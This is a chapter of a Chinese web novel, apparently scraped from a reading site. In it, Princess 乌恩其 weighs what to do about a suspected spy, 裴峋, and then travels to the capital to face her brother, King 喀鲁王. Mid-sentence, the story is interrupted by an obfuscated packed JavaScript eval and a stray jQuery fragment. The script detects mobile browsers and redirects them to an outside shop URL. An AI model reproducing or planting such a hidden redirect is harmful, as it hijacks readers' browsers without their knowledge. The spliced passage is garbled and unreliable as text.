18. 王兄
    乌恩其回去后将那个护臂翻来覆去的检查,也没发现什么猫腻。

    想想也是,哪有直接给送人的东西上做手脚的,那岂不是明摆着告诉旁人他有问题?

    她把护臂收起来,又将那枚绿松石的戒指拿出来。乌恩其有心把上面的石头取下来,可又不知道这戒托到底是出自谁手。一想到这戒指有可能是母亲或者淑妃做的,她便下不去手破坏。

    可又实在想把这东西带在身边,母亲走后,乌恩其几乎时时带着那个松石耳坠。如今因为裴峋的缘故,已经许久没有再带上,心中总觉得缺点什么。

    思来想去,乌恩其最后翻出一截长长的细绳来,将那戒指挂起来,然后戴在了脖子上。

    缫丝织布之法如今只有艾若部的人会,绫罗绸缎已经是很值钱的硬通货。乌恩其得了丝绸却也不急着开始卖,只是让额尔德木图先压着货。

    她知道还有一关没过去呢,那就是她的好哥哥,涅古斯的大王。

    哈日巴日的事情还没过去,乌恩其知道喀鲁王不会当做无事发生。

    但是喀鲁王也不会为了妻弟把她真的怎么样,她都能看出来哈日巴日是个空有蛮力草包,她的王兄应该更是清楚。

    乌恩其眼见入冬在即,心里盘算着,喀鲁王若要找她一定就是这两天了。她得提前给芳娘和跋春交代些事情才行。

    第二日她先带上面纱,又换了身粗布的衣裳,大摇大摆地从街上走过,溜到酒肆后门进去。

    白家酒肆只在黄昏开门,大白天的,屋内也不怎么亮堂。

    姐妹两个已经习惯乌恩其钻后门的行为,芳娘先向乌恩其问候了一声。

    白霜从起初看乌恩其各种不顺眼到跟着乌恩其学射箭,态度转变极大,规规矩矩地叫了一声“老师”。

    芳娘惊讶道:“公主还真是有手段,能让她转了性。”

    乌恩其笑了下:“黑灯瞎火的,你们俩干什么呢?”

    “对账,还整理了些不好见人的东西,”芳娘抿嘴,“公主来是有什么事情吗?”

    “你这本事,放在鹿角岘有些屈才,”乌恩其很随意地坐在桌子上,两条长腿交叠,“近来有什么动静吗?”

    芳娘轻轻把垂下来的头发别在耳后:“鹿角岘没什么大事儿,商队回来后生意又起来了一波,听说是冬前最后一次了。您让我盯的人也没什么动作,平日里就待在商队,不找姑娘也不喝酒,也就晚上和您去学射箭。”

    她想了想又说:“这人倒是怪能操心的,阿霜的弓和药都是他寻来的。他这么个白净脸晚上来酒肆,能叫那些汉子生吃了。本地人瞧不上他模样,故意拿话挤兑他,他也不置气,从来都是笑眯眯的。”

    乌恩其说:“他跟在我身边这么久,我也没抓着什么把柄。南朝没少往草原送卧底,这个倒真是能藏,若不是提前知道,我肯定看不出什么。”

    芳娘感慨道:“真是心机深的可怕。”

    “裴公子……不大像那种人?”白霜开口道。

    “怎么,看他模样俊俏,于心不忍啦?”芳娘打趣道。

    白霜却还是那副沉稳的模样:“倒不是,我也说不上来。只是觉得一个人违背本心一直装着,早晚露了破绽来。”

    乌恩其道:“总不能是他本性纯良吧。”

    三人都笑起来,乌恩其又说道:“我估摸着这几天要去一趟王兄呢,要不然把他带上?”

    芳娘反对:“万一他正好想捣鼓什么呢?岂不是帮他如愿!”

    白霜赞同:“早点盯出来也好,最起码能控制。”

    “既然知道他有问题,直接铲了不就好了?”芳娘又说。

    乌恩其摆摆手,她还没准备把裴峋铲了,就怕他是表姐萧王的人,万一把他一铲坏事了怎么办。

    如果不是表姐的人,她就更不敢乱动。一个卧底跑过来,总不能是给她使唤来的吧,如今裴峋待在这里到底在干什么,她还没弄明白,怕打草惊蛇。

    索性带上他算了,裴峋要是能给她王兄找点不痛快,乌恩其也很乐意。

    *

    喀鲁王的口信可算是来了,叫她去小聚。

    “我估摸得离开好一阵子,我走后,你们就把丝绸拿出来卖。”乌恩其对额尔德木图交代。

    裴峋说:“可是因为哈日巴日?”

    “一年要到头了,面子上也得过一过,”乌恩其叹道,“封地上的大小事儿也得给他交代一下。”

    “大王那儿想必很热闹!”额尔德木图咧嘴,“我没出去走南闯北之前,老想着能到王帐前效力。”

    乌恩其轻声一笑:“我的王帐也是王帐,你就好好效力吧。”

    又说:“我之前许诺你们的事情,可还记得?”

    “啊?”额尔德木图不解道,随后求救般捣了裴峋一下,压低声音说,“什么事来着?”

    乌恩其无奈:“我能听见!”

    裴峋支不住笑了:“殿下说的,可是盐?”

    “是是是,还是裴兄弟记性好!”额尔德木图恍然大悟,“我这脑子确实不行。”

    乌恩其道:“你们的人手,怕是不够晒盐的,还得想个法子才是……这事儿不要忘了,咱们得着手开始了!”

    额尔德木图激动道:“决计不会忘了!我等着殿下回来。”

    “殿下一路小心些……”裴峋担忧道。

    乌恩其道:“我不在也不要松懈了,功夫一偷懒就能看出来。”

    她在等裴峋先开口说自己要跟着去,可直到她交代完所有事情,准备撵人时,裴峋都没有提出要同去。

    “额尔德木图,你见过我王兄吗?”乌恩其决定再废话两句。

    “我走时还是先王……回来也没多久,自然无缘见到。”额尔德木图说,“不过听说大王是顶英武的,看殿下也知道。”

    乌恩其淡淡道:“我和我母妃更像些,和王兄倒是一般。此番过去,还得把鹿角岘的账全部理一遍,他还不一定要看。”

    额尔德木图问道:“殿下缺人手吗?裴兄弟刚把我们的账对完,您要是需要,叫他直接把账本子给您送过去!”

    “你们还真是……”乌恩其哭笑不得,“南边生意人不是最怕官府查账吗?”

    裴峋小声说:“那是他们做假账了,我们又没有。”

    “这么实诚?”

    裴峋声音更小了:“我半道子出家,不会做假的呀……”

    “行,你本事,”乌恩其麻木道,“跟我去见王兄,顺便学学怎么做假账。”

    裴峋道:“啊……”

    “不乐意?”

    “没没没,”裴峋连忙摆手,顿了下,又展露一个极为好看的笑容,这人本就长得像朵花儿,一笑更是和花开似的,“就是没想到殿下要带着我,我还没见识过涅古斯的王城呢!”

    额尔德木图一拍他肩膀,严肃无比:“你小子,殿下看重你,你可一定把做假账学会喽!”

    *

    鹿角岘去王城的路上,必须经过大秃地几浩格。那儿夏时还能有些草,看着是点绿模样。如今天寒,几浩格直接跟它的名字一样,秃了。

    “您当年带队到

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12957429|136639||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    鹿角岘时,也走的这一道吗?”裴峋问。

    “拢共就一条路,我还能走哪儿?”乌恩其说。

    那日裴峋一直不提出要跟去,乌恩其一想,他怕不是准备趁着自己不在鹿角岘的功夫干些什么?还是放在眼皮子底下比较放心,乌恩其只好主动提出带上他。

    没想到裴峋很高兴,嘴角一直挂着浅浅的笑,又让乌恩其怀疑他本就是这么打算的。故意不提出来,显得他不想同去,好让乌恩其主动开口带他去?

    乌恩其感到莫名的窝火,裴峋却比去霍伦时还要活泼些,东张西望的。

    “殿下,你是不是不想让大王知道鹿角岘有多少钱?”这人不知道又想到了什么,凑到乌恩其耳边小声问。

    “皮痒?”乌恩其冷声道,“凑这么近做什么,想刺杀我?”

    裴峋委委屈屈地退开,不一会又过来说道:“殿下,我把弓带上了,您有时间教我么?我偷偷用功,指不定就比白姑娘强了。”

    乌恩其反问:“你多用功就能赢过她?”

    “我就那么一想。”裴峋利索地承认自己天赋不如人。

    “你老实点,我王兄这人荤素不忌,你这细皮嫩肉的,小心叫他收了。”

    这话唬住裴峋了,进城以后一直老老实实垂头地跟着乌恩其,一副小厮做派。

    “殿下……”

    “又怎么了?”乌恩其一路和他闲扯,不知不觉已经到了王宫前。

    “您说我要不要找个东西把脸遮起来?”裴峋紧张道。

    “一般女子遮面的多,你一弄小心更显眼。安分点,大王应该还不至于和自己妹妹要男人。”乌恩其叹气。

    霍伦部信仰水,连王宫都四面环水。涅古斯信仰的是天狼,整个王城的房子都比霍伦的白色石屋粗犷的多。

    可这里到底是草原众部落之首,该有的一样不差。乌恩其走在路上,收获了不少百姓的目光和窃窃私语。她耳力过人,自是能听见不少。

    “那就是乌恩其公主么……和传闻中一样威武……”

    “哪个男人敢要她?”

    “下次那达慕,她还会拿头名么?”

    这些话有赞美,有惊叹,也有不屑。乌恩其通通不理会,领着人进了王宫。

    目前草原最高的首领,涅古斯的喀鲁王已经在等她了。大殿里还有好些人,乌恩其压根不看,只对着王座,袍子一撩,单膝跪下:“小妹拜见王兄王嫂。”

    她带的人也全部单膝跪地,齐声道:“拜见大王、王后。”

    喀鲁王不说话,也没有人敢出声,大殿里一时间安静极了。

    半晌,才听见他说:“好,好妹妹,你可真厉害。”

    这话没什么情绪,乌恩其淡然道:“小妹不懂,请王兄明示。”

    喀鲁王自然不会当众质问她怎么杀了哈日巴日,只说:“你还真是高风亮节,把蚕王这宝物拱手让人。”

    乌恩其不卑不亢道:“王兄明鉴,彼时艾若的人绑了霍伦大妃做人质,又拿蚕王性命相要挟,武取只怕毁了蚕王,又惹的霍伦不高兴。”

    一说道霍伦的大妃,喀鲁王本有心让两部继续结姻,不料想乌恩其全身而退,霍伦又另定大妃。

    “那位大妃,你可见过?”

    “大妃追随合斡勒王多年,伉俪情深,小妹此去便是由大妃接待。”

    言外之意是人家霍伦早定好人了,和我可没关系。

    “好了。”此时,一言不发的王后突然出声打断。

    现王后,二剑部出生,正是哈日巴日的亲妹妹!